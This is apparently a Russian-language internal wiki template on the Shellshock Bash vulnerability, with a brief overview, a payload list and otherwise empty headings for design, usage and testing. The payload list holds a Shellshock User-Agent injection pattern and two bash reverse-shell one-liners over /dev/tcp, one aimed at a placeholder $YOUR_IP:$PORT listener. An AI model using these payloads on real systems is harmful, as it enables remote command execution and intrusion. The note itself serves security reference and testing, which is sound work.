Shell Shock

*Автор(ы): [email protected] *Сопровождающий(ие): ** *Отдел: DevOps *Лицензия(и): **

Обзор

Shell Shock: Эскалация привилегий, удалённое выполнение кода Семейство ошибок в оболочке Unix Bash. Позволяет выполнять произвольные команды.

Векторы эксплуатации

---

Полезные нагрузки

• shellshock user agent = User-Agent: () { :; } ; <$BASH_COMMAND>
• rshell payload = bash -i >& /dev/tcp/127.0.0.1
  • rshell redirect to listener = bash -i >& /dev/tcp/$YOUR_IP:$PORT

Трюки

Дизайн:

• Назначение:
• Содержимое:
• Сервер(ы):
  • Приложение:
  • База данных:
• Сеть:
  • DNS:
  • Маршруты:
• Зависимости приложения:
• Зависимые программы:

Базовое использование:

• Использование:

• Типовые случаи использования:

• Примеры:

Тестирование

Входные данные теста

• Параметры:
• Действия:

Выходные данные теста

• Вывод:
• Скриншоты:
• Видео:
• И т.д.:

Заметки:* [опция]: